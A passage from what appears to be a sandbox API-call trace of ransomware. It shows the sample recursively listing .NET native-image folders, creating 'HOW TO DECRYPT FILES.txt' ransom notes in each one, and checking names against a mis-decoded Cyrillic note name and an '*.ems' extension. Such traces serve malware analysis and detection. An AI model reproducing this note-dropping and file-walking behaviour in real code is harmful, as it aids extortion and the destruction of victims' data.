(pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0124.758] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="UIAutomationTypes" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes" [0124.758] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70038e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70038e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70038e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.762] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.763] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70038e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70038e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70038e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.763] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.763] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.763] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70038e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70038e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70038e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5dee7937ac1cb13daf57484f8cf36af6", cAlternateFileName="5DEE79~1")) returned 1 [0124.763] lstrcmpA (lpString1=".", lpString2="5dee7937ac1cb13daf57484f8cf36af6") returned -1 [0124.763] lstrcmpA (lpString1="..", lpString2="5dee7937ac1cb13daf57484f8cf36af6") returned -1 [0124.763] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\*.*") returned="*.*" [0124.763] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\", lpString2="5dee7937ac1cb13daf57484f8cf36af6" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6" [0124.763] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70038e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70038e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70038e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.765] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.765] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70038e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70038e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70038e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.765] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.765] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.765] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70038e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70038e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7005efd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UIAutomationTypes.ni.dll", cAlternateFileName="UIAUTO~1.DLL")) returned 1 [0124.765] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.765] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationTypes.ni.dll") returned -1 [0124.765] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationTypes.ni.dll") returned -1 [0124.765] lstrcmpiA (lpString1="", lpString2="UIAutomationTypes.ni.dll") returned -1 [0124.765] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\*.*") returned="*.*" [0124.765] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\" [0124.766] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\") returned="" [0124.766] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\HOW TO DECRYPT FILES.txt" [0124.766] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\uiautomationtypes\\5dee7937ac1cb13daf57484f8cf36af6\\how to decrypt files.txt")) returned 0xffffffff [0124.766] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\uiautomationtypes\\5dee7937ac1cb13daf57484f8cf36af6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0124.772] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0124.772] CloseHandle (hObject=0x90) returned 1 [0124.772] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\", lpString2="UIAutomationTypes.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\UIAutomationTypes.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\UIAutomationTypes.ni.dll" [0124.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\UIAutomationTypes.ni.dll", pszSpec="*.ems") returned 0 [0124.772] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70038e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70038e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70038e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.ni.dll.aux", cAlternateFileName="UIAUTO~1.AUX")) returned 1 [0124.773] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.773] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationTypes.ni.dll.aux") returned -1 [0124.773] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationTypes.ni.dll.aux") returned -1 [0124.773] lstrcmpiA (lpString1="", lpString2="UIAutomationTypes.ni.dll.aux") returned -1 [0124.773] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\UIAutomationTypes.ni.dll") returned="UIAutomationTypes.ni.dll" [0124.773] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\" [0124.773] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\") returned="" [0124.773] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\HOW TO DECRYPT FILES.txt" [0124.773] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\uiautomationtypes\\5dee7937ac1cb13daf57484f8cf36af6\\how to decrypt files.txt")) returned 0x20 [0124.773] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\", lpString2="UIAutomationTypes.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\UIAutomationTypes.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\UIAutomationTypes.ni.dll.aux" [0124.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\UIAutomationTypes.ni.dll.aux", pszSpec="*.ems") returned 0 [0124.774] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70038e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70038e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70038e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.ni.dll.aux", cAlternateFileName="UIAUTO~1.AUX")) returned 0 [0124.774] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.774] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70038e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70038e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70038e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5dee7937ac1cb13daf57484f8cf36af6", cAlternateFileName="5DEE79~1")) returned 0 [0124.774] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.774] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6066e9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6066e9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6066e9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490055, dwReserved1=0x750041, cFileName="WindowsBase", cAlternateFileName="WINDOW~1")) returned 1 [0124.774] lstrcmpA (lpString1=".", lpString2="WindowsBase") returned -1 [0124.774] lstrcmpA (lpString1="..", lpString2="WindowsBase") returned -1 [0124.774] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0124.774] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="WindowsBase" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase" [0124.774] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6066e9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6066e9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6066e9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.780] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.780] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6066e9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6066e9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6066e9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.780] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.780] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.780] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6066e9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6066e9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6066e9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="46ff3d18994cf61508e0dcc57fef8b95", cAlternateFileName="46FF3D~1")) returned 1 [0124.780] lstrcmpA (lpString1=".", lpString2="46ff3d18994cf61508e0dcc57fef8b95") returned -1 [0124.780] lstrcmpA (lpString1="..", lpString2="46ff3d18994cf61508e0dcc57fef8b95") returned -1 [0124.780] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\*.*") returned="*.*" [0124.780] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\", lpString2="46ff3d18994cf61508e0dcc57fef8b95" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95" [0124.780] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6066e9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6066e9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6066e9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.781] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.781] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6066e9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6066e9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6066e9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.781] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.781] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.781] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60622710, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x60622710, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x60694b30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4c9600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="WindowsBase.ni.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0124.781] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.781] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsBase.ni.dll") returned -1 [0124.781] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsBase.ni.dll") returned -1 [0124.781] lstrcmpiA (lpString1="", lpString2="WindowsBase.ni.dll") returned -1 [0124.781] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\*.*") returned="*.*" [0124.781] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\" [0124.781] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\") returned="" [0124.781] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\HOW TO DECRYPT FILES.txt" [0124.782] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\windowsbase\\46ff3d18994cf61508e0dcc57fef8b95\\how to decrypt files.txt")) returned 0xffffffff [0124.782] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\windowsbase\\46ff3d18994cf61508e0dcc57fef8b95\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0124.789] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0124.789] CloseHandle (hObject=0x90) returned 1 [0124.789] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\", lpString2="WindowsBase.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\WindowsBase.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\WindowsBase.ni.dll" [0124.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\WindowsBase.ni.dll", pszSpec="*.ems") returned 0 [0124.790] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6066e9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6066e9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6066e9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.ni.dll.aux", cAlternateFileName="WINDOW~1.AUX")) returned 1 [0124.790] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.790] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsBase.ni.dll.aux") returned -1 [0124.790] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsBase.ni.dll.aux") returned -1 [0124.790] lstrcmpiA (lpString1="", lpString2="WindowsBase.ni.dll.aux") returned -1 [0124.790] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\WindowsBase.ni.dll") returned="WindowsBase.ni.dll" [0124.790] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\" [0124.790] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\") returned="" [0124.790] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\HOW TO DECRYPT FILES.txt" [0124.790] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\windowsbase\\46ff3d18994cf61508e0dcc57fef8b95\\how to decrypt files.txt")) returned 0x20 [0124.790] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\", lpString2="WindowsBase.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\WindowsBase.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\WindowsBase.ni.dll.aux" [0124.790] PathMatchSpecA 